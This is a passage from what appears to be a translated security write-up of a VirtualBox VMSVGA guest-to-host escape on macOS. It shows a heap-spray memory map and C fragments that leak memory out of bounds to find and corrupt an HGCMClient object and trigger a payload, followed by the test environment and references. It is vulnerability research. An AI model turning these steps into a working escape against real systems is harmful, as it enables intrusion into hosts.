MALLOC_TINY00007ff13b400000-00007ff13b500000 [ 1024K1016K1016K8K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000 MALLOC_SMALL00007ff13b800000-00007ff16b000000 [760.0M 745.9M 745.9M0K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000 MALLOC_TINY00007ff16b400000-00007ff16b800000 [ 4096K2464K2464K1632K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000 MALLOC_SMALL00007ff16b800000-00007ff16c06d000 [ 8628K6592K6592K1828K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000 MALLOC_SMALL (empty)00007ff16c06d000-00007ff16c06e000 [4K4K4K0K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000 MALLOC_SMALL00007ff16c06e000-00007ff16d000000 [ 15.6M14.0M14.0M1440K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000 MALLOC_SMALL00007ff16d000000-00007ff16d800000 [ 8192K5608K5608K2312K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000 MALLOC_TINY00007ff16d800000-00007ff16da00000 [ 2048K864K864K1184K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000 MALLOC_TINY00007ff16da00000-00007ff16dc00000 [ 2048K24K24K8K] rw-/rwx SM=COWQuartzCore_0x10cc46000 MALLOC_TINY00007ff16dc00000-00007ff16de00000 [ 2048K20K20K24K] rw-/rwx SM=COWGFXMallocZone_0x107072000 MALLOC_TINY (empty)00007ff16de00000-00007ff16df00000 [ 1024K8K8K8K] rw-/rwx SM=COWGFXMallocZone_0x107072000 MALLOC_TINY00007ff16df00000-00007ff16e000000 [ 1024K940K940K84K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000 MALLOC_SMALL (empty)00007ff16e000000-00007ff16e800000 [ 8192K4K4K8K] rw-/rwx SM=COWQuartzCore_0x10cc46000 MALLOC_SMALL00007ff16e800000-00007ff16f000000 [ 8192K8K8K240K] rw-/rwx SM=COWGFXMallocZone_0x107072000 MALLOC_SMALL (empty)00007ff16f000000-00007ff170000000 [ 16.0M8K8K172K] rw-/rwx SM=COWGFXMallocZone_0x107072000 MALLOC_TINY (empty)00007ff170000000-00007ff170100000 [ 1024K8K8K4K] rw-/rwx SM=COWQuartzCore_0x10cc46000 MALLOC_TINY00007ff170100000-00007ff170200000 [ 1024K988K988K36K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000 MALLOC_TINY (empty)00007ff170200000-00007ff170300000 [ 1024K8K8K4K] rw-/rwx SM=COWQuartzCore_0x10cc46000 MALLOC_TINY00007ff170300000-00007ff170400000 [ 1024K4K4K20K] rw-/rwx SM=COWGFXMallocZone_0x107072000 MALLOC_TINY00007ff170400000-00007ff170500000 [ 1024K1024K1024K0K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000 MALLOC_TINY00007ff170500000-00007ff170800000 [ 3072K3072K3072K0K] rw-/rwx SM=COWDefaultMallocZone_0x10
定位並重寫HGCMClient物件
一旦堆噴射完成,將會從SVGA3D_MAX_SURFACE_IDS – 1開始,越界讀取與表面相關的洩露記憶體。如果找到任何HGCMClient,就會停止搜尋,否則將會繼續。
/*洩露記憶體*/ for (int i = SVGA3D_MAX_SURFACE_IDS - 1; i >= 0; i--) { access_memory(i, SVGA3D_READ_HOST_VRAM, memory, 0x1000); rv = find_hgcm_client(memory, 0x1000, &details); if (rv == 0) { surface_id = i; break; } }
在找到客戶端物件後,我們通過洩露其“pSelf”指標來了解物件的位置。物件的vtable是一個指向VBoxC.dylib的指標。上述二者都不會受到ASLR機制的影響。隨後,我們使用搜索期間找到的表面ID,對其進行越界寫入,從而破壞物件。
access_memory(surface_id, SVGA3D_WRITE_HOST_VRAM, memory, 0x1000); Finally, use HGCM disconnect to use the corrupted HGCMClient as below: warnx("[+] Triggering payload..."); disconnect_client(details.key);
環境
·Guest環境:Ubuntu Server 16.04.5 64位,啟用單個vCPU和VMSVGA。
· Host環境:macOS High Sierra 10.13.6。 請注意,macOS Mojave不支援較舊版本的VirtualBox。
· VirtualBox:5.1.22 r115126版本
參考文獻
[1] VMware託管I/O架構上的GPU虛擬化
https://www.usenix.org/legacy/event/wiov08/tech/full_papers/dowty/dowty.pdf
[2] VMware SVGA裝置介面和程式設計模型
https://sourceforge.net/p/vmware-svga/git/ci/master/tree/doc/svga_interface.txt
[3] CLOUDBURST – Vmware Guest到Host逃逸的故事
https://www.blackhat.com/presentations/bh-usa-09/KORTCHINSKY/BHUSA09-Kortchinsky-Cloudburst-PAPER.pdf
[4] 通過硬體模擬攻擊虛擬機器管理程式
https://www.troopers.de/downloads/troopers17/TR17_Attacking_hypervisor_through_hardwear_emulation.pdf
[5] VBoxManage
https://www.virtualbox.org/manual/ch08.html
[6] Oracle重要補丁更新公告 – 2015年1月
https://www.oracle.com/technetwork/topics/security/cpujan2015-1972971.html
[7] Oracle重要補丁更新公告 – 2017年7月
https://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html
[8] Oracle重要補丁更新公告 – 2017年10月
https://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
[9] Heapple Pie – macOS/iOS中的預設堆
https://www.synacktiv.com/ressources/Sthack_2018_Heapple_Pie.pdf
[10] OS X堆漏洞利用
https://github.com/blankwall/MacHeap
[11] 思考在VirtualBox之外
https://github.com/phoenhex/files/blob/master/slides/thinking_outside_the_virtualbox.pdf